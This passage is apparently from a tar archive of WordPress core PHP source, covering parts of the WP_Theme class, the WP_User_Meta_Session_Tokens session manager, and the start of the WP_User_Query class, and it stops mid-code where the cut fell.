'gray' => __( 'Gray' ), 'green' => __( 'Green' ), 'orange' => __( 'Orange' ), 'pink' => __( 'Pink' ), 'purple' => __( 'Purple' ), 'red' => __( 'Red' ), 'silver' => __( 'Silver' ), 'tan' => __( 'Tan' ), 'white' => __( 'White' ), 'yellow' => __( 'Yellow' ), 'dark' => __( 'Dark' ), 'light' => __( 'Light' ), 'fixed-layout' => __( 'Fixed Layout' ), 'fluid-layout' => __( 'Fluid Layout' ), 'responsive-layout' => __( 'Responsive Layout' ), 'blavatar' => __( 'Blavatar' ), 'photoblogging' => __( 'Photoblogging' ), 'seasonal' => __( 'Seasonal' ), ); $feature_list = get_theme_feature_list( false ); // No API. foreach ( $feature_list as $tags ) { $tags_list += $tags; } } foreach ( $value as &$tag ) { if ( isset( $tags_list[ $tag ] ) ) { $tag = $tags_list[ $tag ]; } elseif ( isset( self::$tag_map[ $tag ] ) ) { $tag = $tags_list[ self::$tag_map[ $tag ] ]; } } return $value; default: // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain $value = translate( $value, $this->get( 'TextDomain' ) ); } return $value; } /** * The directory name of the theme's "stylesheet" files, inside the theme root. * * In the case of a child theme, this is directory name of the child theme. * Otherwise, get_stylesheet() is the same as get_template(). * * @since 3.4.0 * * @return string Stylesheet */ public function get_stylesheet() { return $this->stylesheet; } /** * The directory name of the theme's "template" files, inside the theme root. * * In the case of a child theme, this is the directory name of the parent theme. * Otherwise, the get_template() is the same as get_stylesheet(). * * @since 3.4.0 * * @return string Template */ public function get_template() { return $this->template; } /** * Returns the absolute path to the directory of a theme's "stylesheet" files. * * In the case of a child theme, this is the absolute path to the directory * of the child theme's files. * * @since 3.4.0 * * @return string Absolute path of the stylesheet directory. */ public function get_stylesheet_directory() { if ( $this->errors() && in_array( 'theme_root_missing', $this->errors()->get_error_codes(), true ) ) { return ''; } return $this->theme_root . '/' . $this->stylesheet; } /** * Returns the absolute path to the directory of a theme's "template" files. * * In the case of a child theme, this is the absolute path to the directory * of the parent theme's files. * * @since 3.4.0 * * @return string Absolute path of the template directory. */ public function get_template_directory() { if ( $this->parent() ) { $theme_root = $this->parent()->theme_root; } else { $theme_root = $this->theme_root; } return $theme_root . '/' . $this->template; } /** * Returns the URL to the directory of a theme's "stylesheet" files. * * In the case of a child theme, this is the URL to the directory of the * child theme's files. * * @since 3.4.0 * * @return string URL to the stylesheet directory. */ public function get_stylesheet_directory_uri() { return $this->get_theme_root_uri() . '/' . str_replace( '%2F', '/', rawurlencode( $this->stylesheet ) ); } /** * Returns the URL to the directory of a theme's "template" files. * * In the case of a child theme, this is the URL to the directory of the * parent theme's files. * * @since 3.4.0 * * @return string URL to the template directory. */ public function get_template_directory_uri() { if ( $this->parent() ) { $theme_root_uri = $this->parent()->get_theme_root_uri(); } else { $theme_root_uri = $this->get_theme_root_uri(); } return $theme_root_uri . '/' . str_replace( '%2F', '/', rawurlencode( $this->template ) ); } /** * The absolute path to the directory of the theme root. * * This is typically the absolute path to wp-content/themes. * * @since 3.4.0 * * @return string Theme root. */ public function get_theme_root() { return $this->theme_root; } /** * Returns the URL to the directory of the theme root. * * This is typically the absolute URL to wp-content/themes. This forms the basis * for all other URLs returned by WP_Theme, so we pass it to the public function * get_theme_root_uri() and allow it to run the {@see 'theme_root_uri'} filter. * * @since 3.4.0 * * @return string Theme root URI. */ public function get_theme_root_uri() { if ( ! isset( $this->theme_root_uri ) ) { $this->theme_root_uri = get_theme_root_uri( $this->stylesheet, $this->theme_root ); } return $this->theme_root_uri; } /** * Returns the main screenshot file for the theme. * * The main screenshot is called screenshot.png. gif and jpg extensions are also allowed. * * Screenshots for a theme must be in the stylesheet directory. (In the case of child * themes, parent theme screenshots are not inherited.) * * @since 3.4.0 * * @param string $uri Type of URL to return, either 'relative' or an absolute URI. Defaults to absolute URI. * @return string|false Screenshot file. False if the theme does not have a screenshot. */ public function get_screenshot( $uri = 'uri' ) { $screenshot = $this->cache_get( 'screenshot' ); if ( $screenshot ) { if ( 'relative' === $uri ) { return $screenshot; } return $this->get_stylesheet_directory_uri() . '/' . $screenshot; } elseif ( 0 === $screenshot ) { return false; } foreach ( array( 'png', 'gif', 'jpg', 'jpeg' ) as $ext ) { if ( file_exists( $this->get_stylesheet_directory() . "/screenshot.$ext" ) ) { $this->cache_add( 'screenshot', 'screenshot.' . $ext ); if ( 'relative' === $uri ) { return 'screenshot.' . $ext; } return $this->get_stylesheet_directory_uri() . '/' . 'screenshot.' . $ext; } } $this->cache_add( 'screenshot', 0 ); return false; } /** * Return files in the theme's directory. * * @since 3.4.0 * * @param string[]|string $type Optional. Array of extensions to find, string of a single extension, * or null for all extensions. Default null. * @param int $depth Optional. How deep to search for files. Defaults to a flat scan (0 depth). * -1 depth is infinite. * @param bool $search_parent Optional. Whether to return parent files. Default false. * @return string[] Array of files, keyed by the path to the file relative to the theme's directory, with the values * being absolute paths. */ public function get_files( $type = null, $depth = 0, $search_parent = false ) { $files = (array) self::scandir( $this->get_stylesheet_directory(), $type, $depth ); if ( $search_parent && $this->parent() ) { $files += (array) self::scandir( $this->get_template_directory(), $type, $depth ); } return $files; } /** * Returns the theme's post templates. * * @since 4.7.0 * * @return string[] Array of page templates, keyed by filename and post type, * with the value of the translated header name. */ public function get_post_templates() { // If you screw up your current theme and we invalidate your parent, most things still work. Let it slide. if ( $this->errors() && $this->errors()->get_error_codes() !== array( 'theme_parent_invalid' ) ) { return array(); } $post_templates = $this->cache_get( 'post_templates' ); if ( ! is_array( $post_templates ) ) { $post_templates = array(); $files = (array) $this->get_files( 'php', 1, true ); foreach ( $files as $file => $full_path ) { if ( ! preg_match( '|Template Name:(.*)$|mi', file_get_contents( $full_path ), $header ) ) { continue; } $types = array( 'page' ); if ( preg_match( '|Template Post Type:(.*)$|mi', file_get_contents( $full_path ), $type ) ) { $types = explode( ',', _cleanup_header_comment( $type[1] ) ); } foreach ( $types as $type ) { $type = sanitize_key( $type ); if ( ! isset( $post_templates[ $type ] ) ) { $post_templates[ $type ] = array(); } $post_templates[ $type ][ $file ] = _cleanup_header_comment( $header[1] ); } } $this->cache_add( 'post_templates', $post_templates ); } if ( $this->load_textdomain() ) { foreach ( $post_templates as &$post_type ) { foreach ( $post_type as &$post_template ) { $post_template = $this->translate_header( 'Template Name', $post_template ); } } } return $post_templates; } /** * Returns the theme's post templates for a given post type. * * @since 3.4.0 * @since 4.7.0 Added the `$post_type` parameter. * * @param WP_Post|null $post Optional. The post being edited, provided for context. * @param string $post_type Optional. Post type to get the templates for. Default 'page'. * If a post is provided, its post type is used. * @return string[] Array of template header names keyed by the template file name. */ public function get_page_templates( $post = null, $post_type = 'page' ) { if ( $post ) { $post_type = get_post_type( $post ); } $post_templates = $this->get_post_templates(); $post_templates = isset( $post_templates[ $post_type ] ) ? $post_templates[ $post_type ] : array(); /** * Filters list of page templates for a theme. * * @since 4.9.6 * * @param string[] $post_templates Array of template header names keyed by the template file name. * @param WP_Theme $theme The theme object. * @param WP_Post|null $post The post being edited, provided for context, or null. * @param string $post_type Post type to get the templates for. */ $post_templates = (array) apply_filters( 'theme_templates', $post_templates, $this, $post, $post_type ); /** * Filters list of page templates for a theme. * * The dynamic portion of the hook name, `$post_type`, refers to the post type. * * @since 3.9.0 * @since 4.4.0 Converted to allow complete control over the `$page_templates` array. * @since 4.7.0 Added the `$post_type` parameter. * * @param string[] $post_templates Array of template header names keyed by the template file name. * @param WP_Theme $theme The theme object. * @param WP_Post|null $post The post being edited, provided for context, or null. * @param string $post_type Post type to get the templates for. */ $post_templates = (array) apply_filters( "theme_{$post_type}_templates", $post_templates, $this, $post, $post_type ); return $post_templates; } /** * Scans a directory for files of a certain extension. * * @since 3.4.0 * * @param string $path Absolute path to search. * @param array|string|null $extensions Optional. Array of extensions to find, string of a single extension, * or null for all extensions. Default null. * @param int $depth Optional. How many levels deep to search for files. Accepts 0, 1+, or * -1 (infinite depth). Default 0. * @param string $relative_path Optional. The basename of the absolute path. Used to control the * returned path for the found files, particularly when this function * recurses to lower depths. Default empty. * @return string[]|false Array of files, keyed by the path to the file relative to the `$path` directory prepended * with `$relative_path`, with the values being absolute paths. False otherwise. */ private static function scandir( $path, $extensions = null, $depth = 0, $relative_path = '' ) { if ( ! is_dir( $path ) ) { return false; } if ( $extensions ) { $extensions = (array) $extensions; $_extensions = implode( '|', $extensions ); } $relative_path = trailingslashit( $relative_path ); if ( '/' === $relative_path ) { $relative_path = ''; } $results = scandir( $path ); $files = array(); /** * Filters the array of excluded directories and files while scanning theme folder. * * @since 4.7.4 * * @param string[] $exclusions Array of excluded directories and files. */ $exclusions = (array) apply_filters( 'theme_scandir_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) ); foreach ( $results as $result ) { if ( '.' === $result[0] || in_array( $result, $exclusions, true ) ) { continue; } if ( is_dir( $path . '/' . $result ) ) { if ( ! $depth ) { continue; } $found = self::scandir( $path . '/' . $result, $extensions, $depth - 1, $relative_path . $result ); $files = array_merge_recursive( $files, $found ); } elseif ( ! $extensions || preg_match( '~\.(' . $_extensions . ')$~', $result ) ) { $files[ $relative_path . $result ] = $path . '/' . $result; } } return $files; } /** * Loads the theme's textdomain. * * Translation files are not inherited from the parent theme. TODO: If this fails for the * child theme, it should probably try to load the parent theme's translations. * * @since 3.4.0 * * @return bool True if the textdomain was successfully loaded or has already been loaded. * False if no textdomain was specified in the file headers, or if the domain could not be loaded. */ public function load_textdomain() { if ( isset( $this->textdomain_loaded ) ) { return $this->textdomain_loaded; } $textdomain = $this->get( 'TextDomain' ); if ( ! $textdomain ) { $this->textdomain_loaded = false; return false; } if ( is_textdomain_loaded( $textdomain ) ) { $this->textdomain_loaded = true; return true; } $path = $this->get_stylesheet_directory(); $domainpath = $this->get( 'DomainPath' ); if ( $domainpath ) { $path .= $domainpath; } else { $path .= '/languages'; } $this->textdomain_loaded = load_theme_textdomain( $textdomain, $path ); return $this->textdomain_loaded; } /** * Whether the theme is allowed (multisite only). * * @since 3.4.0 * * @param string $check Optional. Whether to check only the 'network'-wide settings, the 'site' * settings, or 'both'. Defaults to 'both'. * @param int $blog_id Optional. Ignored if only network-wide settings are checked. Defaults to current site. * @return bool Whether the theme is allowed for the network. Returns true in single-site. */ public function is_allowed( $check = 'both', $blog_id = null ) { if ( ! is_multisite() ) { return true; } if ( 'both' === $check || 'network' === $check ) { $allowed = self::get_allowed_on_network(); if ( ! empty( $allowed[ $this->get_stylesheet() ] ) ) { return true; } } if ( 'both' === $check || 'site' === $check ) { $allowed = self::get_allowed_on_site( $blog_id ); if ( ! empty( $allowed[ $this->get_stylesheet() ] ) ) { return true; } } return false; } /** * Determines the latest WordPress default theme that is installed. * * This hits the filesystem. * * @since 4.4.0 * * @return WP_Theme|false Object, or false if no theme is installed, which would be bad. */ public static function get_core_default_theme() { foreach ( array_reverse( self::$default_themes ) as $slug => $name ) { $theme = wp_get_theme( $slug ); if ( $theme->exists() ) { return $theme; } } return false; } /** * Returns array of stylesheet names of themes allowed on the site or network. * * @since 3.4.0 * * @param int $blog_id Optional. ID of the site. Defaults to the current site. * @return string[] Array of stylesheet names. */ public static function get_allowed( $blog_id = null ) { /** * Filters the array of themes allowed on the network. * * Site is provided as context so that a list of network allowed themes can * be filtered further. * * @since 4.5.0 * * @param string[] $allowed_themes An array of theme stylesheet names. * @param int $blog_id ID of the site. */ $network = (array) apply_filters( 'network_allowed_themes', self::get_allowed_on_network(), $blog_id ); return $network + self::get_allowed_on_site( $blog_id ); } /** * Returns array of stylesheet names of themes allowed on the network. * * @since 3.4.0 * * @return string[] Array of stylesheet names. */ public static function get_allowed_on_network() { static $allowed_themes; if ( ! isset( $allowed_themes ) ) { $allowed_themes = (array) get_site_option( 'allowedthemes' ); } /** * Filters the array of themes allowed on the network. * * @since MU (3.0.0) * * @param string[] $allowed_themes An array of theme stylesheet names. */ $allowed_themes = apply_filters( 'allowed_themes', $allowed_themes ); return $allowed_themes; } /** * Returns array of stylesheet names of themes allowed on the site. * * @since 3.4.0 * * @param int $blog_id Optional. ID of the site. Defaults to the current site. * @return string[] Array of stylesheet names. */ public static function get_allowed_on_site( $blog_id = null ) { static $allowed_themes = array(); if ( ! $blog_id || ! is_multisite() ) { $blog_id = get_current_blog_id(); } if ( isset( $allowed_themes[ $blog_id ] ) ) { /** * Filters the array of themes allowed on the site. * * @since 4.5.0 * * @param string[] $allowed_themes An array of theme stylesheet names. * @param int $blog_id ID of the site. Defaults to current site. */ return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id ); } $current = get_current_blog_id() == $blog_id; if ( $current ) { $allowed_themes[ $blog_id ] = get_option( 'allowedthemes' ); } else { switch_to_blog( $blog_id ); $allowed_themes[ $blog_id ] = get_option( 'allowedthemes' ); restore_current_blog(); } // This is all super old MU back compat joy. // 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name. if ( false === $allowed_themes[ $blog_id ] ) { if ( $current ) { $allowed_themes[ $blog_id ] = get_option( 'allowed_themes' ); } else { switch_to_blog( $blog_id ); $allowed_themes[ $blog_id ] = get_option( 'allowed_themes' ); restore_current_blog(); } if ( ! is_array( $allowed_themes[ $blog_id ] ) || empty( $allowed_themes[ $blog_id ] ) ) { $allowed_themes[ $blog_id ] = array(); } else { $converted = array(); $themes = wp_get_themes(); foreach ( $themes as $stylesheet => $theme_data ) { if ( isset( $allowed_themes[ $blog_id ][ $theme_data->get( 'Name' ) ] ) ) { $converted[ $stylesheet ] = true; } } $allowed_themes[ $blog_id ] = $converted; } // Set the option so we never have to go through this pain again. if ( is_admin() && $allowed_themes[ $blog_id ] ) { if ( $current ) { update_option( 'allowedthemes', $allowed_themes[ $blog_id ] ); delete_option( 'allowed_themes' ); } else { switch_to_blog( $blog_id ); update_option( 'allowedthemes', $allowed_themes[ $blog_id ] ); delete_option( 'allowed_themes' ); restore_current_blog(); } } } /** This filter is documented in wp-includes/class-wp-theme.php */ return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id ); } /** * Enables a theme for all sites on the current network. * * @since 4.6.0 * * @param string|string[] $stylesheets Stylesheet name or array of stylesheet names. */ public static function network_enable_theme( $stylesheets ) { if ( ! is_multisite() ) { return; } if ( ! is_array( $stylesheets ) ) { $stylesheets = array( $stylesheets ); } $allowed_themes = get_site_option( 'allowedthemes' ); foreach ( $stylesheets as $stylesheet ) { $allowed_themes[ $stylesheet ] = true; } update_site_option( 'allowedthemes', $allowed_themes ); } /** * Disables a theme for all sites on the current network. * * @since 4.6.0 * * @param string|string[] $stylesheets Stylesheet name or array of stylesheet names. */ public static function network_disable_theme( $stylesheets ) { if ( ! is_multisite() ) { return; } if ( ! is_array( $stylesheets ) ) { $stylesheets = array( $stylesheets ); } $allowed_themes = get_site_option( 'allowedthemes' ); foreach ( $stylesheets as $stylesheet ) { if ( isset( $allowed_themes[ $stylesheet ] ) ) { unset( $allowed_themes[ $stylesheet ] ); } } update_site_option( 'allowedthemes', $allowed_themes ); } /** * Sorts themes by name. * * @since 3.4.0 * * @param WP_Theme[] $themes Array of theme objects to sort (passed by reference). */ public static function sort_by_name( &$themes ) { if ( 0 === strpos( get_user_locale(), 'en_' ) ) { uasort( $themes, array( 'WP_Theme', '_name_sort' ) ); } else { foreach ( $themes as $key => $theme ) { $theme->translate_header( 'Name', $theme->headers['Name'] ); } uasort( $themes, array( 'WP_Theme', '_name_sort_i18n' ) ); } } /** * Callback function for usort() to naturally sort themes by name. * * Accesses the Name header directly from the class for maximum speed. * Would choke on HTML but we don't care enough to slow it down with strip_tags(). * * @since 3.4.0 * * @param WP_Theme $a First theme. * @param WP_Theme $b Second theme. * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally. * Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort(). */ private static function _name_sort( $a, $b ) { return strnatcasecmp( $a->headers['Name'], $b->headers['Name'] ); } /** * Callback function for usort() to naturally sort themes by translated name. * * @since 3.4.0 * * @param WP_Theme $a First theme. * @param WP_Theme $b Second theme. * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally. * Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort(). */ private static function _name_sort_i18n( $a, $b ) { return strnatcasecmp( $a->name_translated, $b->name_translated ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-user-meta-session-tokens.php���������������������������������������������������������������0000644�����������������00000005656�15120262030�0013673 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Session API: WP_User_Meta_Session_Tokens class * * @package WordPress * @subpackage Session * @since 4.7.0 */ /** * Meta-based user sessions token manager. * * @since 4.0.0 * * @see WP_Session_Tokens */ class WP_User_Meta_Session_Tokens extends WP_Session_Tokens { /** * Retrieves all sessions of the user. * * @since 4.0.0 * * @return array Sessions of the user. */ protected function get_sessions() { $sessions = get_user_meta( $this->user_id, 'session_tokens', true ); if ( ! is_array( $sessions ) ) { return array(); } $sessions = array_map( array( $this, 'prepare_session' ), $sessions ); return array_filter( $sessions, array( $this, 'is_still_valid' ) ); } /** * Converts an expiration to an array of session information. * * @param mixed $session Session or expiration. * @return array Session. */ protected function prepare_session( $session ) { if ( is_int( $session ) ) { return array( 'expiration' => $session ); } return $session; } /** * Retrieves a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to retrieve. * @return array|null The session, or null if it does not exist */ protected function get_session( $verifier ) { $sessions = $this->get_sessions(); if ( isset( $sessions[ $verifier ] ) ) { return $sessions[ $verifier ]; } return null; } /** * Updates a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to update. * @param array $session Optional. Session. Omitting this argument destroys the session. */ protected function update_session( $verifier, $session = null ) { $sessions = $this->get_sessions(); if ( $session ) { $sessions[ $verifier ] = $session; } else { unset( $sessions[ $verifier ] ); } $this->update_sessions( $sessions ); } /** * Updates the user's sessions in the usermeta table. * * @since 4.0.0 * * @param array $sessions Sessions. */ protected function update_sessions( $sessions ) { if ( $sessions ) { update_user_meta( $this->user_id, 'session_tokens', $sessions ); } else { delete_user_meta( $this->user_id, 'session_tokens' ); } } /** * Destroys all sessions for this user, except the single session with the given verifier. * * @since 4.0.0 * * @param string $verifier Verifier of the session to keep. */ protected function destroy_other_sessions( $verifier ) { $session = $this->get_session( $verifier ); $this->update_sessions( array( $verifier => $session ) ); } /** * Destroys all session tokens for the user. * * @since 4.0.0 */ protected function destroy_all_sessions() { $this->update_sessions( array() ); } /** * Destroys all sessions for all users. * * @since 4.0.0 */ public static function drop_sessions() { delete_metadata( 'user', 0, 'session_tokens', false, true ); } } ����������������������������������������������������������������������������������class-wp-user-query.php�����������������������������������������������������������������������������0000644�����������������00000075145�15120262030�0011130 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * User API: WP_User_Query class * * @package WordPress * @subpackage Users * @since 4.4.0 */ /** * Core class used for querying users. * * @since 3.1.0 * * @see WP_User_Query::prepare_query() for information on accepted arguments. */ class WP_User_Query { /** * Query vars, after parsing * * @since 3.5.0 * @var array */ public $query_vars = array(); /** * List of found user IDs. * * @since 3.1.0 * @var array */ private $results; /** * Total number of found users for the current query * * @since 3.1.0 * @var int */ private $total_users = 0; /** * Metadata query container. * * @since 4.2.0 * @var WP_Meta_Query */ public $meta_query = false; /** * The SQL query used to fetch matching users. * * @since 4.4.0 * @var string */ public $request; private $compat_fields = array( 'results', 'total_users' ); // SQL clauses. public $query_fields; public $query_from; public $query_where; public $query_orderby; public $query_limit; /** * PHP5 constructor. * * @since 3.1.0 * * @param null|string|array $query Optional. The query variables. */ public function __construct( $query = null ) { if ( ! empty( $query ) ) { $this->prepare_query( $query ); $this->query(); } } /** * Fills in missing query variables with default values. * * @since 4.4.0 * * @param array $args Query vars, as passed to `WP_User_Query`. * @return array Complete query variables with undefined ones filled in with defaults. */ public static function fill_query_vars( $args ) { $defaults = array( 'blog_id' => get_current_blog_id(), 'role' => '', 'role__in' => array(), 'role__not_in' => array(), 'meta_key' => '', 'meta_value' => '', 'meta_compare' => '', 'include' => array(), 'exclude' => array(), 'search' => '', 'search_columns' => array(), 'orderby' => 'login', 'order' => 'ASC', 'offset' => '', 'number' => '', 'paged' => 1, 'count_total' => true, 'fields' => 'all', 'who' => '', 'has_published_posts' => null, 'nicename' => '', 'nicename__in' => array(), 'nicename__not_in' => array(), 'login' => '', 'login__in' => array(), 'login__not_in' => array(), ); return wp_parse_args( $args, $defaults ); } /** * Prepare the query variables. * * @since 3.1.0 * @since 4.1.0 Added the ability to order by the `include` value. * @since 4.2.0 Added 'meta_value_num' support for `$orderby` parameter. Added multi-dimensional array syntax * for `$orderby` parameter. * @since 4.3.0 Added 'has_published_posts' parameter. * @since 4.4.0 Added 'paged', 'role__in', and 'role__not_in' parameters. The 'role' parameter was updated to * permit an array or comma-separated list of values. The 'number' parameter was updated to support * querying for all users with using -1. * @since 4.7.0 Added 'nicename', 'nicename__in', 'nicename__not_in', 'login', 'login__in', * and 'login__not_in' parameters. * * @global wpdb $wpdb WordPress database abstraction object. * @global int $blog_id * * @param string|array $query { * Optional. Array or string of Query parameters. * * @type int $blog_id The site ID. Default is the current site. * @type string|array $role An array or a comma-separated list of role names that users must match * to be included in results. Note that this is an inclusive list: users * must match *each* role. Default empty. * @type string[] $role__in An array of role names. Matched users must have at least one of these * roles. Default empty array. * @type string[] $role__not_in An array of role names to exclude. Users matching one or more of these * roles will not be included in results. Default empty array. * @type string $meta_key User meta key. Default empty. * @type string $meta_value User meta value. Default empty. * @type string $meta_compare Comparison operator to test the `$meta_value`. Accepts '=', '!=', * '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', * 'BETWEEN', 'NOT BETWEEN', 'EXISTS', 'NOT EXISTS', 'REGEXP', * 'NOT REGEXP', or 'RLIKE'. Default '='. * @type int[] $include An array of user IDs to include. Default empty array. * @type int[] $exclude An array of user IDs to exclude. Default empty array. * @type string $search Search keyword. Searches for possible string matches on columns. * When `$search_columns` is left empty, it tries to determine which * column to search in based on search string. Default empty. * @type string[] $search_columns Array of column names to be searched. Accepts 'ID', 'user_login', * 'user_email', 'user_url', 'user_nicename', 'display_name'. * Default empty array. * @type string|array $orderby Field(s) to sort the retrieved users by. May be a single value, * an array of values, or a multi-dimensional array with fields as * keys and orders ('ASC' or 'DESC') as values. Accepted values are * 'ID', 'display_name' (or 'name'), 'include', 'user_login' * (or 'login'), 'login__in', 'user_nicename' (or 'nicename'), * 'nicename__in', 'user_email (or 'email'), 'user_url' (or 'url'), * 'user_registered' (or 'registered'), 'post_count', 'meta_value', * 'meta_value_num', the value of `$meta_key`, or an array key of * `$meta_query`. To use 'meta_value' or 'meta_value_num', `$meta_key` * must be also be defined. Default 'user_login'. * @type string $order Designates ascending or descending order of users. Order values * passed as part of an `$orderby` array take precedence over this * parameter. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type int $offset Number of users to offset in retrieved results. Can be used in * conjunction with pagination. Default 0. * @type int $number Number of users to limit the query for. Can be used in * conjunction with pagination. Value -1 (all) is supported, but * should be used with caution on larger sites. * Default -1 (all users). * @type int $paged When used with number, defines the page of results to return. * Default 1. * @type bool $count_total Whether to count the total number of users found. If pagination * is not needed, setting this to false can improve performance. * Default true. * @type string|array $fields Which fields to return. Single or all fields (string), or array * of fields. Accepts 'ID', 'display_name', 'user_login', * 'user_nicename', 'user_email', 'user_url', 'user_registered'. * Use 'all' for all fields and 'all_with_meta' to include * meta fields. Default 'all'. * @type string $who Type of users to query. Accepts 'authors'. * Default empty (all users). * @type bool|array $has_published_posts Pass an array of post types to filter results to users who have * published posts in those post types. `true` is an alias for all * public post types. * @type string $nicename The user nicename. Default empty. * @type string[] $nicename__in An array of nicenames to include. Users matching one of these * nicenames will be included in results. Default empty array. * @type string[] $nicename__not_in An array of nicenames to exclude. Users matching one of these * nicenames will not be included in results. Default empty array. * @type string $login The user login. Default empty. * @type string[] $login__in An array of logins to include. Users matching one of these * logins will be included in results. Default empty array. * @type string[] $login__not_in An array of logins to exclude. Users matching one of these * logins will not be included in results. Default empty array. * } */ public function prepare_query( $query = array() ) { global $wpdb; if ( empty( $this->query_vars ) || ! empty( $query ) ) { $this->query_limit = null; $this->query_vars = $this->fill_query_vars( $query ); } /** * Fires before the WP_User_Query has been parsed. * * The passed WP_User_Query object contains the query variables, * not yet passed into SQL. * * @since 4.0.0 * * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference). */ do_action_ref_array( 'pre_get_users', array( &$this ) ); // Ensure that query vars are filled after 'pre_get_users'. $qv =& $this->query_vars; $qv = $this->fill_query_vars( $qv ); if ( is_array( $qv['fields'] ) ) { $qv['fields'] = array_unique( $qv['fields'] ); $this->query_fields = array(); foreach ( $qv['fields'] as $field ) { $field = 'ID' === $field ? 'ID' : sanitize_key( $field ); $this->query_fields[] = "$wpdb->users.$field"; } $this->query_fields = implode( ',', $this->query_fields ); } elseif ( 'all' === $qv['fields'] ) { $this->query_fields = "$wpdb->users.*"; } else { $this->query_fields = "$wpdb->users.ID"; } if ( isset( $qv['count_total'] ) && $qv['count_total'] ) { $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields; } $this->query_from = "FROM $wpdb->users"; $this->query_where = 'WHERE 1=1'; // Parse and sanitize 'include', for use by 'orderby' as well as 'include' below. if ( ! empty( $qv['include'] ) ) { $include = wp_parse_id_list( $qv['include'] ); } else { $include = false; } $blog_id = 0; if ( isset( $qv['blog_id'] ) ) { $blog_id = absint( $qv['blog_id'] ); } if ( $qv['has_published_posts'] && $blog_id ) { if ( true === $qv['has_published_posts'] ) { $post_types = get_post_types( array( 'public' => true ) ); } else { $post_types = (array) $qv['has_published_posts']; } foreach ( $post_types as &$post_type ) { $post_type = $wpdb->prepare( '%s', $post_type ); } $posts_table = $wpdb->get_blog_prefix( $blog_id ) . 'posts'; $this->query_where .= " AND $wpdb->users.ID IN ( SELECT DISTINCT $posts_table.post_author FROM $posts_table WHERE $posts_table.post_status = 'publish' AND $posts_table.post_type IN ( " . implode( ', ', $post_types ) . ' ) )'; } // nicename if ( '' !== $qv['nicename'] ) { $this->query_where .= $wpdb->prepare( ' AND user_nicename = %s', $qv['nicename'] ); } if ( ! empty( $qv['nicename__in'] ) ) { $sanitized_nicename__in = array_map( 'esc_sql', $qv['nicename__in'] ); $nicename__in = implode( "','", $sanitized_nicename__in ); $this->query_where .= " AND user_nicename IN ( '$nicename__in' )"; } if ( ! empty( $qv['nicename__not_in'] ) ) { $sanitized_nicename__not_in = array_map( 'esc_sql', $qv['nicename__not_in'] ); $nicename__not_in = implode( "','", $sanitized_nicename__not_in ); $this->query_where .= " AND user_nicename NOT IN ( '$nicename__not_in' )"; } // login if ( '' !== $qv['login'] ) { $this->query_where .= $wpdb->prepare( ' AND user_login = %s', $qv['login'] ); } if ( ! empty( $qv['login__in'] ) ) { $sanitized_login__in = array_map( 'esc_sql', $qv['login__in'] ); $login__in = implode( "','", $sanitized_login__in ); $this->query_where .= " AND user_login IN ( '$login__in' )"; } if ( ! empty( $qv['login__not_in'] ) ) { $sanitized_login__not_in = array_map( 'esc_sql', $qv['login__not_in'] ); $login__not_in = implode( "','", $sanitized_login__not_in ); $this->query_where .= " AND user_login NOT IN ( '$login__not_in' )"; } // Meta query. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $qv ); if ( isset( $qv['who'] ) && 'authors' === $qv['who'] && $blog_id ) { $who_query = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'user_level', 'value' => 0, 'compare' => '!=', ); // Prevent extra meta query. $qv['blog_id'] = 0; $blog_id = 0; if ( empty( $this->meta_query->queries ) ) { $this->meta_query->queries = array( $who_query ); } else { // Append the cap query to the original queries and reparse the query. $this->meta_query->queries = array( 'relation' => 'AND', array( $this->meta_query->queries, $who_query ), ); } $this->meta_query->parse_query_vars( $this->meta_query->queries ); } $roles = array(); if ( isset( $qv['role'] ) ) { if ( is_array( $qv['role'] ) ) { $roles = $qv['role']; } elseif ( is_string( $qv['role'] ) && ! empty( $qv['role'] ) ) { $roles = array_map( 'trim', explode( ',', $qv['role'] ) ); } } $role__in = array(); if ( isset( $qv['role__in'] ) ) { $role__in = (array) $qv['role__in']; } $role__not_in = array(); if ( isset( $qv['role__not_in'] ) ) { $role__not_in = (array) $qv['role__not_in']; } if ( $blog_id && ( ! empty( $roles ) || ! empty( $role__in ) || ! empty( $role__not_in ) || is_multisite() ) ) { $role_queries = array(); $roles_clauses = array( 'relation' => 'AND' ); if ( ! empty( $roles ) ) { foreach ( $roles as $role ) { $roles_clauses[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'LIKE', ); } $role_queries[] = $roles_clauses; } $role__in_clauses = array( 'relation' => 'OR' ); if ( ! empty( $role__in ) ) { foreach ( $role__in as $role ) { $role__in_clauses[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'LIKE', ); } $role_queries[] = $role__in_clauses; } $role__not_in_clauses = array( 'relation' => 'AND' ); if ( ! empty( $role__not_in ) ) { foreach ( $role__not_in as $role ) { $role__not_in_clauses[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'NOT 